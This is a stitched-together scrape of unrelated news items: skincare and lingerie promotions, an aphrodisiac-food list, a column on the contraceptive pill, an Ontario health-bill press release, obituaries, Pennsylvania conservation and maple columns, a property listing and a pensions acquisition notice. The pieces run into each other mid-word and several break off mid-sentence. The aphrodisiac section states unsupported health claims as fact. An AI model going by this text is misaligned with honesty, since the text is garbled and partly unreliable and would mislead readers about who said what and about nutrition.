'We're sorry that this interaction spoiled Ms Strykert's journey and have provided a travel voucher as gesture of good will.'

After reporting the incident to Jetstar a day later she did not receive an apology but the company did offer her a $50 voucher (pictured)Many spend a small fortune on a lengthy list of skin products in a bid to have a glowing complexion just like their favourite celebrities.

But according to Elle, there is one product beloved by both Kim Kardashian West and Meghan Markle that retails for under $100.

The go-to skincare product is Rice Polish from Japanese brand Tatcha, which retails for $99 in Australia and can be purchased at both Sephora and Mecca.

According to Elle Kim Kardashian West and Meghan Markle use the same exfoliating facial cleanser

According to the publication Kim's makeup artist Mario Dedivanovic said he used Tatcha's Classic Rice Polish, which used to be called the Rice Enzyme Powder, to get Kim ready for the amfAR gala.

'When mixed with water, this foaming enzyme powder helps exfoliate and smooth the surface of the skin,' he explained in a press statement.

Previously, the Duchess of Sussex told Allure that the same product was a regular part of her skincare routine.

'I play around... I really love the Tatcha Rice Enzyme Powder. It just sort of foams on your face and gives you a really subtle exfoliation,' she said.

Both women continue to have radiant skin despite the amount of engagements they have to attend and this product could be the common denominator

The popular product is the Rice Polish from Japanese brand Tatcha which retails for only $99 in Australia

According to the Tatcha website the product provides skin with a 'new beginning' thanks to non-abrasive exfoliation and ingredients delivered in a cloud-like foam.

'Finely ground rice bran and papaya enzymes promote natural skin turnover to instantly reveal a smooth, makeup-ready canvas,' it reads.

'The pH neutral, amino acid base formula provides effective cleansing without stripping skin of essential moisture or breaking the skins barrier function, leaving skin baby-soft and supple.

'Hadasei-3, a trio of anti-aging Japanese superfoods - green tea, rice and algae - helps restore healthy-looking, youthful radiance.'

According to the Tatcha website the product provides skin with a 'new beginning' thanks to non-abrasive exfoliation and ingredients delivered in a cloud-like foam

The brand recommends that women use it daily to visibly reduce the appearance of fine lines, uneven skin tone, hyperpigmentation and breakouts.

There are four different versions of the product that customers can purchase depending on their skin type.

The 'classic' has been designed for normal to dry skin, with pearl extract to condition skin.

'Deep' is for normal to oily skin, with Japanese wild rose to minimize the appearance of pores.

'Calming' is best for those with sensitive skin as it is made up of Japanese indigo and colloidal oatmeal.

Those with dry skin should reach for 'Gentle' which has liquorice root to soothe flaking.Are you and your boo in a romantic rut? Spice things up this Valentine's Day by wearing the right outfit and serving a serotonin boosting meal.

To do this, FEMAIL rounds up pretty lingerie for under $20 (because let's face it, it's unacceptable to wear your tired mismatched bra and underwear on V-day).

A-list makeup artist Melissa Hernandez shares her favorite (and simple to use) false lashes for effortless eye batting, and celebrity chef, Sherry Yard, reveals the perfect menu to get you and your partner in the mood.

SLIP INTO SOMETHING SEXY

Move Your Body Teddy by Yandy, $19.95; yandy.com

Left: Plus Lace Scallop Plunge Bodysuit by Boohoo, now $20; boohoo.com. Right: Floral Lace Teddy Bodysuit by SheIn, $10; shein.com

Left: Harness Detail Lace Lingerie Set by Romwe, $9.99; romwe.com. Right: Eyelash Lace Lingerie Set by She In, $7; shein.com

Left: Floral Satin Romper Bodysuit by SheIn, $10; shein.com. Right: Open Back Eyelash Lace Teddy Bodysuit by SheIn, $11; shein.com

Lace Garter Set by Romwe, $5.59; romwe.com. Right: 2-Pc Floral Lace Underwear Lingerie by The Victory of Cupid, $16.99; amazon.com

Plus Size Flirty Lace Baby Doll by Yandy, $19.95; yandy.com

BEDROOM MAKEUP:

Actress Rosa Salazar attended the premiere of Alita Battle Angel with a come-hither eyes created by celebrity makeup artist Melissa Hernandez.

'To contrast the delicate lace flowers in Rosas dress, I opted for a dramatic cat eye creating a timeless, yet fierce look,' said Melissa.

'I am absolutely obsessed with Lashify. Its falsies without the fuss! To complement Rosas fierce cat eye, I placed 3 B 12s on the outer corner of each eye and 3 B10s along the inner lash line.

'Theyre innovative because they adhere from the bottom of the lashes, creating a seamless blend. Talk about a game changer!'

The Lashify Control Kit, $145; lashify.com

WHAT TO EAT TO GET YOU IN THE MOOD

Current judge on The Great American Baking Show and 3x James Beard award winner, Sherry Yard, reveals her favorite sensuous foods that boost serotonin levels.

Just in time for Valentine's Day, the celebrity chef curated a romantic 4-course aphrodisiac dinner for The Tuck Room in New York City.

The dinner will take place in the restaurant's never open to the public 'Green Room', hidden behind a trick bookcase.

The perfect setting for an intimate proposal, the entire experience will be listed on the menu for $10k and includes a one carat d-flawless diamond ring from jeweler to the stars David Rosenberg.

Want to surprise your partner by cooking your own sexual energy stimulating meal? Sherry details what you need to serve.

Intimate dinner for two: Just in time for Valentine's Day, celebrity chef Sherry Yard curated a romantic 4-course aphrodisiac dinner for The Tuck Room in New York City

Pop the question: The perfect setting for an intimate proposal, the entire experience will be listed on the menu for $10k and includes a o ne carat d-flawless diamond ring from jeweler to the stars David Rosenberg

Oysters:

Oysters improve dopamine levels which boost libido in men and women. Oysters are also high in zinc which is vital for testosterone production and healthy sperm.

Oysters actually contain rare amino acids and do, in fact, trigger the release of sexual hormones.

Cucumber:

Yes, cucumber is certainly phallic in appearance, but its aphrodisiac reputation is not based on looks alone.

From a nutritional standpoint, cucumbers provide several nutrients essential to maintaining sexual health, including Vitamin C and manganese.

Avocado:

A recent report stated organic Sicilian avocados are taking Europe by storm. Apparently the Europeans can't get enough of them.

The ancient Aztec's nickname for avocado was "ahuacatl," or "testicle" because of the fruit's shapely form. The Catholic Spanish priests found avocados so sexy, the forbade their parishioners to eat them.

Avocados are one of the healthiest foods on the planet. They are loaded with healthy fats that will stimulate fat loss, balance hormones and pack a powerful aphrodisiac effect.

Avocados are a super food for your brain, heart, and most importantly the blood vessels in those sexy action areas

Sensuous meal: The current judge on The Great American Baking Show and 3x James Beard award winner reveals her favorite foods that boost serotonin levels

'Oysters improve dopamine levels which boost libido in men and women. Oysters are also high in zinc which is vital for testosterone production and healthy sperm,' said Sherry

Arugula:

Arugula was a popular aphrodisiac among the ancient Romans and ancient Egyptians. It was quite often associated with Priapus, a minor Roman god of fertility.

Today most proponents of arugula downplay its natural aphrodisiac properties, promoting the lettuce instead as an aid for digestion.

Arugula is said to help clear the mind. And although neither of these curative properties specifically raises sexual energy, they are both attributes that promote the right mood for romance.

It is rich in vitamins A and C, which are essential for sex hormone production. Its a source of zinc, excellent for promoting good blood flow to the nether regions, as well as sex-aiding minerals magnesium and potassium.

Arugula also contains compounds that are thought to help exert antioxidant activity.

Beets:

Beets have long been considered an aphrodisiac in many cultures throughout history.

They contain high levels of boron, which aids in the productions of sex hormones; betaine, a substance that helps relax your mind; and tryptophan, which can help with feelings of well-being and sexual arousal.

Garlic:

But in fact, garlic has been acknowledged as an aphrodisiac since the legends of ancient Egypt.

The bulb is extremely high in allicin, which improves blood flow making you feel more alert, increased stamina, and a surge of untamed energy.

Shape matters: 'Some aphrodisiacs' powers are in their nutrition; others boast phallic shapes'

Truffles:

A legendary aphrodisiac of ancient Rome, truffles are still among the most prized ingredients in the culinary world.

And their appeal may just be more than their rarity. It is believedalthough yet to be confirmed by modern sciencethat truffles' musky scent replicates the scent of the male pheromone androstenone.

Asparagus:

Asparagus is high in a B vitamin known as folate that aids in increasing the production of histamine. Histamine is important for a healthy sex drive in men and women.

Lobster:

The aphrodisiac power of lobster. Some aphrodisiacs' powers are in their nutrition; others boast phallic shapes.

But for some aphrodisiac foods, their greatest power is in persuasion. In fact, lobster's history as a natural aphrodisiac deals mainly with its status as a symbol of luxury.

Raspberries:

We now know that these well-traveled fruits are a good source of manganese, Vitamins B2 and C and provide potassium and magnesium. (Their vitamin content is so high that raspberries boast 50% more antioxidants that strawberries.)

With their bundle of hard, little seeds, they are also a source of fiber, helpful in keeping the body at its most slim and sexy.

Because of their fragility, raspberries in perfection are a rare and short-lived treat. Despite being among the worlds most nutritional foods, they are considered an indulgent delicacy.

'Despite being among the worlds most nutritional foods, raspberries are considered an indulgent delicacy,' shared SherryWhen the contraceptive Pill was launched more than 50 years ago (by a man), it was hailed as the great liberator for women.

Despite a litany of side-effects weight gain, loss of libido, insomnia  as well as more serious long-term medical issues such as blood clots, strokes, heart attacks, breast cancer and diabetes  it was felt the advantages of avoiding unwanted pregnancy far outweighed the risks.

But now a team of scientists from Germany has established what many of us have long suspected: the Pill doesn't just alter your body chemistry, it can also mess with your head.

Now a team of scientists from Germany has established what many of us have long suspected: the Pill doesn't just alter your body chemistry, it can also mess with your head

According to research carried out in Germany, women on the Pill are 10 per cent worse at deciphering such complex human emotions as boredom or uneasiness.

In other words, it can impair some women's ability to read other people's feelings, which in turn, say the authors, can affect our intimate relationships.

On a purely anecdotal level, this rings very true. It's a while since I took oral contraceptives, but casting my mind back to my 20s, it's fair to say that I was more than a little crazy during that time.

Hyper-hormonal, like having permanent PMT, punctuated by short spells of normality when I was off the Pill. In the end, I stopped taking it, and felt much better as a result.

Did it affect my relationships? Who can say, but it wasn't exactly a happy period in my life.

Certainly, as someone who has suffered from an under-active thyroid for more than 20 years, I know how hormones can affect one not just physically, but also mentally.

And as the mother of two children, I have experienced the mood swings brought about by pregnancy and breastfeeding.

So it follows that the contraceptive Pill  which alters levels of oestrogen and progesterone in the body  should have powerful effects on both body and mind.

And yet it has taken five decades for this possibility even to begin to be acknowledged.

As the authors of this study admit: 'More than 100 million women worldwide use oral contraceptives, but remarkably little is known about the effect on emotion, cognition and behaviour.'

Can you imagine 100 million men using a strong drug every single day without anyone bothering to find out what it might be doing to them? No, me neither.

For many of the Pill's staunchest advocates, these new findings will come as an inconvenient truth. Especially since, when it was launched, it was hailed as a great liberator for women.

No longer enslaved by our reproductive cycles, we would be free to control our fertility  and with it our sex lives, careers and futures. That was the theory at least.

In practice, it was more complex. Yes, it removed the risks of unwanted pregnancy and gave women more freedom from babies and the kitchen sink. Yet it also removed their choices in a new kind of way.

I can't speak for my mother's generation. But for those of us growing up in the Eighties, it led to a kind of sexual servitude, where saying no was made harder by the fact that effective contraception was so readily available.

Without the worry of pregnancy, sex became almost an obligation.

Many of us did it not because we really wanted to, but because we no longer felt we had an excuse not to. It also transferred what should be a 50:50 responsibility away from the man, placing the onus on the woman.

The Pill, a liberation? For some, perhaps. But, for me, it seems a very strange kind of freedom that expects women to alter the chemistry of their minds and bodies in large part to satisfy the needs and desires of men.

I miss the hellraisers!

It's taken women decades to gain full recognition for their talents on stage and screen.

So why is it that the current awards season  dominated in every way by women, from Olivia Colman and Co at the Baftas, to Katy Perry (left) and her sisters at the Grammys  seems like such an anti-climax?

Why is it that the current awards season  dominated in every way by women, from Olivia Colman and Co at the Baftas, to Katy Perry and her sisters at the Grammys  seems like such an anti-climax?

Call me wicked, but sitting through the feminist virtue-signalling of the Baftas, or watching an auditorium blub at the sight of Michelle Obama talking about her 'story' at the Grammys, just made me long for a bit of good old-fashioned male roguishness and swagger.

A scowling Liam Gallagher, perhaps, or a priapic Oliver Reed  you know, just to spice things up a bit.

Political correctness is all very well and good  but it doesn't half make for a dull night out.

Just because one elderly gentleman (Prince Philip) has a car accident doesn't mean everyone over 70 should have their ability to drive called into question.

Yet such is the idiotic knee-jerk world in which we now live.

The truth is that young male drivers remain overwhelmingly the cause of most road accidents: why is no one asking them to show proof that they have regular eye tests  and not just so they can gawp at young women when they are behind the wheel?

Has Victoria Bateman, the Cambridge don who undressed in front of John Humphrys on the Today programme, done more to undermine the cause of feminism than any man in the past 100 years?

She's clearly highly intelligent, yet she feels the best way to get attention is to take off her clothes.

She claims to want to deliver 'one powerful message: Brexit is the emperor's new clothes'.

But the only message I'm getting here is: 'I can't win the debate  so here, look at my breasts instead'.

She's clearly highly intelligent, yet she feels the best way to get attention is to take off her clothes

Strikingly silly

My daughter and her school friends are very much looking forward to Friday's youth climate change 'strike'.

And no wonder: this 'international day of action', promoted by the usual collection of middle-class eco-warriors, is being endorsed by the National Association of Head Teachers.

Presumably, like 99.9 per cent of those taking part, they see it less as a political protest than as an excellent opportunity to get out of doing any work.

That's how my daughter and her friends view it. I did point out that since her father is the actual Environment Secretary, she could theoretically petition him directly.

'That's all right,' she said. 'I'd rather go to the park.'

Arts Council England threatens to withhold funding from leading theatre and ballet companies that fail to gather and release data about their staff's sexuality, in a bid to ensure LBGT representation.

Since when did a person's sexual orientation have anything to do with their talent?

What a soulless Sex Education

Netflix's hit series Sex Education, starring Gillian Anderson as a sex therapist, has just been commissioned for a second series.

If you don't have teenage children, this show may well have passed you by. But to anyone under the age of 18, it is the hottest thing on our screens at the moment.

In many ways, the plaudits are deserved. The writing is sharp and funny, with plenty of clever references for older heads (Spartacus and Cyrano de Bergerac, to name but two) and the cast are impressive.

Netflix's hit series Sex Education, starring Gillian Anderson as a sex therapist, has just been commissioned for a second series

There's just one thing that spoils it: the sex.

It's not so much the frequency or graphic nature  after all, the clue's in the title. It's the entirely perfunctory nature of it.

The way the act is divested entirely of all emotional meaning, and reduced to a purely physical function, rather like blowing one's nose or going for a run.

I can't help feeling this truly is the legacy of a generation that's grown up watching porn on the internet.

Sex that is coldly and baldly anatomical, without a shred of emotional connection. Slick and stylish, I'll grant you.

But soulless, utterly transactional  and so lacking in joy it makes you wonder why anyone would bother.Caln

Regal Builders receives feedback from residents

Regal Builders receives feedback from residents about proposed development in Caln

The developer hosted a meeting to allow residents to ask questions about the proposed mix-use developmentThe winning team from Bishop Shanahan High School poses with their first place trophy after the Governors STEM competition award ceremony on Feb. 5.Employees and volunteers at Chester County Hospital and community members donated more than 180 purses throughout the month of January.















Longstanding Leaders of Organizations Representing Patients, Care Workers, Doctors



Toronto  Academic leaders, democracy advocates, patient advocates, front-line care workers and doctors are all speaking with one voice when it comes to the leaked health care omnibus bill that has secretly been planned by the Ford government for months: if passed, it would cause health care chaos that will last for years. Speaking at a Queens Park press conference this morning, representatives called on the Ford government to rethink their plans; to rebuild capacity in our public health care to meet population need and consult with Ontarians in a proper and meaningful democratic consultation process about the future of our health care system, rather than engaging in massive restructuring and privatization.

The leaked omnibus health care bill creates a new Super Agency by merging 14 Local Health Integration Networks, Cancer Care Ontario, Health Quality Ontario. It also gives new extraordinary powers to the Minister and the Super Agency to privatize significant portions of health care and to facilitate the mega-mergers of health care providers such as hospitals, long-term care homes, home care, clinics and so on. The legislation drops public interest protections from the previous LHIN legislation including requirements for open board meetings, appeals of restructuring decisions, principles to guide decision making, equity, a requirement to plan to meet population need for health care and others. It has vast scope and far-reaching consequences. Put in context, the leaked legislation impacts millions of patients; hundreds of thousands of doctors, nurses, health professionals and support care workers; the entire cancer care system; 262 local hospitals; 629 long-term care homes; all of home care; more than 1,000 clinics; Ontarios organ donation system; our quality tracking system, and more.

The leaked health care legislation is an omnibus bill that would rescind and amend dozens of major pieces of health care legislation. It been created in secret behind closed doors with a plan to drive it through the Ontario Legislature and begin implementation at breakneck speed, said Natalie Mehra, executive director of the Ontario Health Coalition. It is the blueprint for the creation of a super bureaucracy that is charged with facilitating mega-mergers, service movement, transfers, closures, privatization: essentially restructuring on steroids. The evidence from past experiments that were much smaller in scope cost billions of dollars, taking money away from care that will never be recovered. Fords plan will be enormously costly, destabilizing and damaging just when we need a government that will rebuild not destroy public health care.

In a health care system that is badly under-funded and under-staffed, it is incomprehensible that the Ford government would embrace another wave of hugely expensive and inefficient restructuring, taking money away from care. This legislation carries with it huge job loss implications. It is designed to create a market for privatization of clinical and other services, said Michael Hurley, president of OCHU/CUPE. Those of us working in the health care system, the public and the staff have not been consulted at

If challenges are found within the public health care system, the government should be working with health care providers, researchers and the public to seek improvements within the public system, rather than further fragmenting it as is clearly their intention, said Dr Ritika Goel, a family physician working in Toronto and board member of Canadian Doctors for Medicare. It is unclear how the creation of a Super Agency will make care more connected to the communities in which patients live. Reorganization and integration require a lot of trust and capacity. But with no consultation with front line health care professionals or patients currently navigating the system, it is hard to see how that trust will be built.

Because the plan is to create a market for privatization, according to the leaked omnibus bill, the government will tender services, inviting public non-profit and for-profit companies and health care entities to apply to merge or take over other services. In one part of the province we might see for-profit long-term care homes take over public convalescent care or chronic care, in another, a large hospital may try to take over home care, in another multiple hospitals could merge in mega-mergers including for-profit hospitals or clinics. In addition, the Super Agency can order the privatization of any part of the supply chain or procurement (undefined and therefore not limited) and decide what company takes over the services.

What is planned is not seamless integration. It is disintegration and a patchwork quilt of inconsistent services, warned Hugh Armstrong, professor emeritus from Carleton University.

There is no question that this legislation gives access to public non-profit hospital, home care and a range of vital support services for private for-profit companies that they have never had before. It is a prescription for privatization that will undoubtedly compromise quality, safety and lead to two-tier health care, reported Ms. Mehra.

The legislation and the leaked internal Ministry of Health documents show that the Ford government has been planning this legislation for months behind the scenes, but has not told anything to the people of Ontario. Normally major policy changes are preceded by a discussion paper or white paper, which is sent out for broad public consultation before legislation is even written. Once the legislation is introduced in the legislature, it goes for public hearings across the province and amended as a result of the public input received. In this case, there has been no discussion paper, no public consultation, and the documents reveal that the government planned to introduce the legislation and put out services to tender within a few short weeks before the legislation would even be proclaimed and without any allowance for meaningful public input.

The Ford government has an agenda that it wants to railroad through before people realize what it is, noted Duff Conacher, co-founder of the citizen advocacy group Democracy Watch. The process by which this legislation has been created is a total departure from democratic norms. Mr. Ford cannot claim to govern for the people and keep secret from the people a health care omnibus bill that will result in major health care restructuring and privatization.

Last week, the Ford government responded by misleading denials and tactics designed to put themselves on the offensive rather than the defensive. Health Minister Christine Elliott claimed that she had never seen the leaked document that the NDP revealed today, on the day of her press conference. She claimed that the legislation was drafted by the non-partisan civil service as though it was just an idea generated independently and her government had nothing to do with it. However, she neglected to mention that Premier Doug Fords Cabinet (that is every Minister in government including Minister Christine Elliott) passed the direction for the legislation. She did not admit that her own signature is on the Orders In Council (Cabinet documents) to create the Super Agency and begin appointments. She also failed to note that the documents show that the government intended to introduce the legislation this month and that the tenders for the first restructuring/privatization were scheduled to go out in March. It is not possible that the Health Minister would not be intimately involved at this late stage of the planning. Mr. Ford called in the OPP to hunt for and fire the person who leaked the document. But without that person and the NDPs intervention, Ontarians would have been in the dark about the governments intentions for potentially the largest scale restructuring and privatization of health care that Ontario has ever seen until it was too late for them to effect any change.

For more information: Natalie Mehra, executive director Ontario Health Coalition 416-230-6402 (cell); Michael Hurley, president OCHU/CUPE 416-884-0770 (cell); Katie Arnup, executive director Canadian Doctors for Medicare 647-289-5205 (cell); Duff Conacher, co-founder Democracy Watch (avail until 2:30 p.m.) 416-546-3443 (cell).Diane Pineiro-Zucker has been a reporter at the Daily Freeman since April 2013. Pineiro-Zucker worked as a reporter in the Freemans Rhinebeck bureau in the early 1980s, left to become executive editor at Taconic Newspapers in Dutchess County.The Shamrock Run, a fun run for all ages, levels and ability, kicked off the St. Patricks Parade in Kingston, N.Y., last year.KINGSTON, N.Y.  Scenic Hudson has given the Kingston Land Trust $40,000 to put toward the $200,000 cost of buying and preserving a 19th-centuSince 1990, Patricia R. Doxsey has been a reporter for the Freeman, covering politics, crime, and government affairs.Paul Kirby is a reporter for the Freeman, covering Kingston politics. He has been at the Freeman since August 1996.Ethos is a nationally recognized, award-winning independent student publication. Our mission is to elevate the voices of marginalized people who are underrepresented in the media landscape, and to write in-depth, human-focused stories about the issues affecting them. We also strive to support our diverse student staff and to help them find future success.



Ethos produces a quarterly free print magazine full of well-reported and powerful feature stories, innovative photography, creative illustrations and eye-catching design. On our website, we also produce compelling written and multimedia stories.



Ethos is part of Emerald Media Group, a non-profit organization thats fully independent of the University of Oregon. Students maintain complete editorial control over Ethos, and work tirelessly to produce the magazine.



Since our inception as Korean Ducks Magazine in 2005, weve worked hard to share a multicultural spirit with our readership. We embrace diversity in our stories, in our student staff and in our readers. We want every part of the magazine to reflect the diversity of our world.Ms. Annette "Honey" Brock age 96 of Dalton, GA, went to be with the lord Tuesday June 22, 2021. She was born October 21, 1924 in Memphis, TN a daughter of the late Edwin Douglas and Ann Louise Johnson. She was also preceded in death by her husband, Paul "Pete" Brock, sisters and brothers, daLEN LICHVAR

The Daily American

Every year the president gives the State of the Union address. Perhaps it is time to make a State of Our Environment address. So here it is.

The Keystone States natural resources have been infringed upon, altered, reshaped and often degraded for more than 100 years. Of course the reality is much of the use and abuse of those natural resources also allow us to have the comforts and lifestyle we now enjoy. There does need to be a trade off.

However, thanks largely to public funding and public sector federal and state programs and regulations as well as professional conservation organizations and countless volunteers and non-profits the abuse of our natural resources is not any further out of balance with the use of them.

That balance, which is often out of balance in favor of the abuse, is potentially going to get worse unless there is motivated support for actions to be taken to counter the trend.

For example the PA Department of Environmental Protection which is in charge of protection and oversight of our natural resources has seen a 30 percent reduction in staff since 2002 equating to a loss of more than 900 staff. The ability to regulate air and water pollution, require proper safeguards for development, address climate change and dozens of other essential conservation initiatives has been crippled for going on two decades.

At the local level, conservation district funding was also cut a number of years ago and partially replaced with funds from the natural gas impact fee under Act 13. However, the work load of districts has increased and so have expenses while the funding levels have been stagnant that has forced districts to curtail and limit their locally driven programs and projects.

Pennsylvanias hallmark legislative conservation funding known as Growing Greener has been very successful in empowering local organizations to achieve significant conservation goals for years. However, the program funds have decreased from more than $200 million a year in the mid 2000s to only $57 million this year. No viable method has been put forth by the legislature to re-create the funding levels that are still very much needed.

Even worse, the governors recent budget request transfers funding from the Keystone Recreation and Conservation Fund and Environmental Stewardship Fund to pay for operating costs of DEP and DCNR that will further reduce the available funds for Growing Greener thereby robbing Peter to only partially pay Paul.

On the national level the current White House Administration has initiated an assault on the federal Clean Water Act. The EPAs current politically driven effort to amend the Clean Water Rule would eliminate protection on 20 percent of the states wetlands and leave countless other high quality waterways around the country at risk of degradation.

To make the point locally in order to maintain the much heralded water quality improvements in the Cambria-Somerset region at least $1.5 million are still required to upgrade and maintain the AMD abatement systems that have returned life to the Stonycreek River and tributaries along with renewed economic vitality. Without this rehab work the systems are and will further fail to function. Add to that the millions of dollars required for a long term trust fund for maintenance of these and many other systems well into the future throughout the region continues to be funded at exactly zero.

To add to the growing current level of unmet need is the as of yet inability of the state legislature to provide a requested small increase in a user fee, known as a fishing license, that would enable the PA Fish and Boat Commission, that receives no contributions from state tax dollars, to properly meet its charge of protecting our water resources and enhancing angling and boating recreation that generates more than $2 billion a year to the state economy.

Unfortunately, the political will to address and support funding for conservation measures has fallen on hard times.

Well then what can be done to improve these shortfalls and counter the imbalance? Actually a partial but important example was the foresighted passing of the state transportation legislation Act 89 in 2013 by the legislature that added significant funding support for the Dirt and Gravel Road Program. This statewide initiative is actually a water quality conservation program since its primary goal is to reduce erosion and polluted runoff coming from unpaved roads by properly designed road and culvert improvements and yet has a secondary benefit of improving rural transportation.

The additional good news is there are very viable alternatives to directly taxing citizens. On Jan. 31, Gov. Tom Wolf proposed a $4.5 billion four-year Renew PA Initiative to fund community and environmental infrastructure that would include funding for AMD abatement and other essential conservation programs. The problem is, however, it is intended to be funded by a severance fee imposed on the natural gas industry that is unpopular with the gas industry and therefore not surprisingly has opponents on the political end.

Another innovative user fee funding source is a water extraction fee that actually had a state legislative bill introduced last year that if enacted would raise hundreds of millions of dollars annually even by exempting farmers and public water suppliers. Water is the states most available natural resource and the PA Constitution states that the water is the common property of the people. When this common property is used by for profit entities the citizen owners deserve a return on that use. Currently major water users in the state usurp the resource for free.

Only when the citizens demand that the elusive even balance between use and abuse of our natural resources is created and maintained will the political will be powerful enough to offset the imbalance and forthcoming environmental and economic disasters we heading straight toward.

(Len Lichvar, of Boswell, has been both a professional and volunteer in the resource conservation field for 30 years. His opinions are his own and do not necessarily represent those of any organizations he is affiliated with.)DAVE HURST

The Daily American

Its not as if being a maple producer isnt challenging enough.

Producers have to be out in the sugar bush (the woods) during the most-brutal days of winter  repairing the collection lines that have been damaged by critters, stringing new lines, preparing the maple camp and tapping trees at the right time  so theyll be ready for sugar-water (sap) runs once the cycle of above-freezing days and below-freezing-nights begins.

Once the sugar water is running, the producer virtually lives in the maple camp, diligently tending to the machinery and evaporators that reduce many thousands of gallons of sap into a few hundred gallons of maple syrup. Because sugar water spoils quickly, if producers arent slaves to the process, they lose product.

So even with todays technology, its not easy being a maple producer. But when we consider the erratic weather patterns of recent years, it is amazing that they are able to produce any quantity of quality maple syrup at all.

Traditionally, maple trees get tapped in February. Thats why Somerset Countys annual Tree-Tapping Ceremony  the traditional kickoff for maple season there  typically is scheduled for the last Saturday of the month. (This year at 2 p.m. on Feb. 23 at Milroy Farms in Salisbury. For information, call 814-324-4345.)

But last season, the heaviest sap runs were in January, according to the Somerset County Maple Producers Association. At the time of last-years tree-tapping ceremony, some of the producers seasons already were over, thanks to an extended warm spell during the last half of February.

That was followed by a cold spell that stopped the run through much of March  typically the most-productive period. Some producers adjusted by re-tapping and producing lighter grades of syrup into April.

This season also is offering some wild fluctuations with several days of comparative warmth immediately following cold snaps. Sugar water was running in late January again  for those who were ready for it.

If all of this unpredictability makes maple producing more challenging, it should also make this sweet agricultural tradition all the more interesting to the rest of us. Soon events are coming up across the region that will provide opportunities to talk to producers, learn how they cope with the challenges and, of course, get some of that golden ambrosia fresh from the maple camp.

March 3, residents of the Kittanning area can see the maple process from tapping through evaporation at the Outdoor Discovery Center at Crooked Creek.

Theyll be able to buy equipment, maple syrup and maple candy. ArmstrongCenter.org/odc.

Friends of Indiana County Parks will be hosting the annual Maple Sugaring at Kinter Farm program, March 9-10. IndianaCountyParks.org.

The regions best opportunity to experience the variety within the maple industry is during the Somerset County Maple Weekend, also on March 9-10. People can participate in free tours at 15 maple camps and sites across the county or indulge in a pancake and buckwheat cake breakfast at the Listie Volunteer Fire Hall. SomersetCountyMaple.org.

Shavers Creek Environmental Center once again is hosting its annual Maple Harvest Festival on March 23-24. Patrons can see how maple syrup was created by American Indians and settlers as well as todays production techniques; there will be live music, storytelling and an all-you-can-eat pancake breakfast. Tickets must be purchased in advance at Raystown.org.

Finally theres the venerable Pennsylvania Maple Festival, March 30-31 and April 3-7 in Meyersdale. Along with interpreting and celebrating the maple industry, this festival also commemorates early spring and the heritage of the Allegheny Plateau. PaMapleFestival.com.

Now 72 years old, the Pennsylvania Maple Festival also has endured all of the vagaries of weather that early spring can bring to the Alleghenies  much like the industry that it celebrates.

Everyone connected to the maple season accepts the necessity of the bitter for the sweet. But it would be nice if Mother Nature kept things in proper order.

(To respond to this column  or read other columns by Dave Hurst  visit www.hurstmediaworks.com.)Eugene Crow, age 91, of Cullman, went home to be with his Lord on Saturday, June 19, 2021. He was born June 13, 1930 to Felix and Pearl Stowe Crowe. He was preceded in death by his loving wife Irene, his parents, two brothers and a sister. Mr. Crow served his country and is a veteran of The Small credit unions face many challenges these days to keep pace in a hotly competitive market and to recruit talented employees. HUD Federal Credit Union has launched an initiative to deal with the latter of those difficulties as a long-term play to address the former.

The $45 million, 5,000-member credit union based in Washington, D.C. is developing ambitious internship and management training programs designed to provide hands-on learning and match trainees with seasoned industry mentors.

Paid, part-time internships are offered to college students whose courses of study and career goals align the HUD FCUs needs. When they graduate, interns will be considered for a program that offers a passport to executive management with training across eight core disciplines: accounting, administration, compliance, data analytics, HR, IT, lending, marketing and business development, member services and operations.

Interns and management trainees work alongside the credit unions 12 employees and also benefit from the expertise of consultants, long-time credit union managers who are seeking new opportunities in the wake of mergers, starting their own businesses or moving toward retirement.New to the market and recently renovated, the 1933 colonial at 45 Overlook Drive is located in the private neighborhood of Milbrook  within walking distance to schools, Greenwich Avenue, local dining, train transportation and the Milbrook Club. The interiors include a custom renovated kitchen that opens to a family room with a fireplace. The home also has a formal dining room and formal living room with a fireplace and an adjacent home office. The main level has French door access out to a deck and expansive backyard. The homes second level comprises the master suite, two family bedrooms, a full bath and a bonus room that may be leveraged as office space or as a nursery. . This property has room to grow because the F.A.R. allows for an additional 2,246 square feet. Assigned public schools for this address are Julian Curtiss Elementary, Central Middle and Greenwich High.

Listing agents: Claudia Hirsch and Susan Fleisher, Hirsch & Fleisher Team, Coldwell Banker Residential Brokerage; (203) 622-1100 office; (203) 536-2197 Claudias cell; (203) 461-0447NOW: Pensions is the UKs third largest auto-enrolment provider, serving over 30,000 businesses and 1.7 million pension savers. The acquisition is expected to complete later in 2019 following NOW: Pensions authorisation by The Pensions Regulator as part of its ongoing master trust authorisation process. NOW: Pensions anticipates transferring its investment management mandate from NOW: Pensions Investments (NPI) in Denmark to Cardanos highly experienced, UK-based fund management team subject to completion of due diligence by the Trustee. The acquisition brings together Cardanos investment skills and experience in the defined benefit and defined contribution markets with NOW: Pensions auto-enrolment platform and administration capabilities. The combined business will create a full-service platform for growth as the UKs workplace pensions market gathers momentum and DC solutions develop in multi-employer master trust environments. Following completion of the acquisition, Cardano will manage over 25 billion of assets and employ 350 people across its core markets of the UK and the Netherlands. The acquisition is Cardanos second in the UK following the acquisition of covenant advisory specialist Lincoln Pensions in October 2016. Theo Kocken and Michael De Lathauwer, Co-CEOs of Cardano, commented: In a short space of time, NOW: Pensions has grown to become one of the leading players in the auto-enrolment market. Bringing Cardano and NOW: Pensions together is transformational for our Group. It is an investment in the future of UK pensions, enabling us to grow and diversify our client base. We believe our combination of pensions risk management and investment skills, together with NOW: Pensions enormous potential creates a new force across the UK pensions landscape. Troy Clutterbuck, CEO of NOW: Pensions, commented: In Cardano we have found a like-minded organisation, with a long-term commitment to the UK pensions market, that offers a great fit with our business. Workplace pensions in the UK are gathering greater momentum as the auto-enrolment regime matures. Being part of the Cardano Group will bring significant benefits for our clients and members, giving us a fantastic platform to reach our full potential. Nigel Waterson, Chair of the Trustee, NOW: Pension Trust (NPTL) commented: The Trustee Directors are delighted that NOW: Pensions has found a new home with Cardano. This is an exciting time in the development of NOW: Pensions. As well as gaining access to their expert investment team, our members will benefit from Cardanos wealth of experience in technology and aligned commitment to good governance. We are working closely with ATP and Cardano to ensure a smooth and safe transition for our members. The future is bright for NOW: Pensions and our members. Bo Foged, Interim CEO of ATP, commented: NOW: Pensions has grown into one of the largest auto enrolment providers in the UK. The market has matured, and NOW: Pensions is entering a new phase of operation focused on asset growth. In view of ATPs continued strategic focus on simplification and consolidation, we have found this to be the right time to exit the investment and sell the company to a new and dedicated owner who will take the company into the next phase of development in the UK market.

Project Bond Strategy



Shareholder Update - India Project

